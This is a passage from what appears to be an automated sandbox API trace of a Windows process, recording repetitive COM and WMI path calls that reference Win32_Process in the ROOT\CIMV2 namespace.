riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0071.960] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0bf0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bec5aa0) returned 0x0 [0071.960] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bec5aa0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0071.960] WbemDefPath:IUnknown:Release (This=0x1bec5aa0) returned 0x3 [0071.960] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0071.960] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0071.960] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0bf0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0071.960] WbemDefPath:IUnknown:Release (This=0x1bea0bf0) returned 0x2 [0071.960] WbemDefPath:IUnknown:Release (This=0x1bea0bf0) returned 0x1 [0071.961] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0071.961] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0071.961] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0bf0, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bea0bf0) returned 0x0 [0071.961] WbemDefPath:IUnknown:AddRef (This=0x1bea0bf0) returned 0x3 [0071.961] WbemDefPath:IUnknown:Release (This=0x1bea0bf0) returned 0x2 [0071.961] WbemDefPath:IWbemPath:SetText (This=0x1bea0bf0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0071.961] IWbemClassObject:Get (in: This=0x11e9540, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0071.961] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0071.961] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0071.961] IWbemClassObject:Get (in: This=0x11e9540, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0071.961] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0071.961] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0071.962] IWbemClassObject:Get (in: This=0x11e9540, wszName="__CLASS", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0071.962] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0071.962] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0071.962] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0071.962] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0071.962] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0071.962] IUnknown:Release (This=0x111f638) returned 0x1 [0071.964] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bec5ce0) returned 0x0 [0071.964] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bec5ce0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0071.964] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bec5ce0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea0a70) returned 0x0 [0071.964] WbemDefPath:IUnknown:Release (This=0x1bec5ce0) returned 0x0 [0071.964] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0a70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea0a70) returned 0x0 [0071.964] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0a70, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0071.964] WbemDefPath:IUnknown:AddRef (This=0x1bea0a70) returned 0x3 [0071.964] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0a70, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0071.964] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0a70, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0071.965] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0a70, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bec5c60) returned 0x0 [0071.965] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bec5c60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0071.965] WbemDefPath:IUnknown:Release (This=0x1bec5c60) returned 0x3 [0071.965] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0071.965] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0071.965] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0a70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0071.965] WbemDefPath:IUnknown:Release (This=0x1bea0a70) returned 0x2 [0071.965] WbemDefPath:IUnknown:Release (This=0x1bea0a70) returned 0x1 [0071.965] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0071.965] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0071.965] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0a70, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea0a70) returned 0x0 [0071.965] WbemDefPath:IUnknown:AddRef (This=0x1bea0a70) returned 0x3 [0071.965] WbemDefPath:IUnknown:Release (This=0x1bea0a70) returned 0x2 [0071.965] WbemDefPath:IWbemPath:SetText (This=0x1bea0a70, uMode=0x4, pszPath="") returned 0x0 [0071.965] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0071.965] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0071.965] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0071.965] IUnknown:Release (This=0x111f638) returned 0x1 [0071.967] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bec5ce0) returned 0x0 [0071.967] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bec5ce0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0071.967] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bec5ce0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea09b0) returned 0x0 [0071.967] WbemDefPath:IUnknown:Release (This=0x1bec5ce0) returned 0x0 [0071.967] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea09b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea09b0) returned 0x0 [0071.967] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea09b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0071.967] WbemDefPath:IUnknown:AddRef (This=0x1bea09b0) returned 0x3 [0071.967] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea09b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0071.967] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea09b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0071.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea09b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bec5ca0) returned 0x0 [0071.968] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bec5ca0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0071.968] WbemDefPath:IUnknown:Release (This=0x1bec5ca0) returned 0x3 [0071.968] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0071.968] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0071.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea09b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0071.968] WbemDefPath:IUnknown:Release (This=0x1bea09b0) returned 0x2 [0071.968] WbemDefPath:IUnknown:Release (This=0x1bea09b0) returned 0x1 [0071.968] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0071.968] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0071.968] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea09b0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea09b0) returned 0x0 [0071.968] WbemDefPath:IUnknown:AddRef (This=0x1bea09b0) returned 0x3 [0071.968] WbemDefPath:IUnknown:Release (This=0x1bea09b0) returned 0x2 [0071.968] WbemDefPath:IWbemPath:SetText (This=0x1bea09b0, uMode=0x4, pszPath="") returned 0x0 [0071.968] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea09b0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0071.968] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0a70, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0071.968] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea09b0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0071.968] WbemDefPath:IWbemPath:GetServer (in: This=0x1bea09b0, puNameBufLength=0x1b2fd928*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd928*=0x0, pName=0x0) returned 0x80041009 [0071.968] WbemDefPath:IWbemPath:SetServer (This=0x1bea09b0, Name="Q9IATRKPRH") returned 0x0 [0071.968] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0071.968] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0071.969] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0071.969] IUnknown:Release (This=0x111f638) returned 0x1 [0071.970] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bec5cc0) returned 0x0 [0071.970] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bec5cc0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0071.970] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bec5cc0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bea08f0) returned 0x0 [0071.971] WbemDefPath:IUnknown:Release (This=0x1bec5cc0) returned 0x0 [0071.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea08f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bea08f0) returned 0x0 [0071.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea08f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0071.971] WbemDefPath:IUnknown:AddRef (This=0x1bea08f0) returned 0x3 [0071.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea08f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0071.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea08f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0071.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea08f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bec5c00) returned 0x0 [0071.971] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bec5c00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0071.971] WbemDefPath:IUnknown:Release (This=0x1bec5c00) returned 0x3 [0071.971] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0071.971] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0071.971] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea08f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0071.971] WbemDefPath:IUnknown:Release (This=0x1bea08f0) returned 0x2 [0071.972] WbemDefPath:IUnknown:Release (This=0x1bea08f0) returned 0x1 [0071.972] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0071.972] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0071.972] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea08f0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bea08f0) returned 0x0 [0071.972] WbemDefPath:IUnknown:AddRef (This=0x1bea08f0) returned 0x3 [0071.972] WbemDefPath:IUnknown:Release (This=0x1bea08f0) returned 0x2 [0071.972] WbemDefPath:IWbemPath:SetText (This=0x1bea08f0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0071.972] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea09b0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0071.972] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea08f0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0071.972] WbemDefPath:IWbemPath:GetText (in: This=0x1bea08f0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0071.972] WbemDefPath:IWbemPath:GetText (in: This=0x1bea08f0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0071.972] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bea09b0) returned 0x0 [0071.972] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea08f0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0071.972] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea08f0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0071.972] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea08f0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0071.972] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea09b0, uIndex=0x0, pszName="ROOT") returned 0x0 [0071.972] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea08f0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0071.972] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bea08f0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0071.972] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bea09b0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0071.972] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bea09b0, 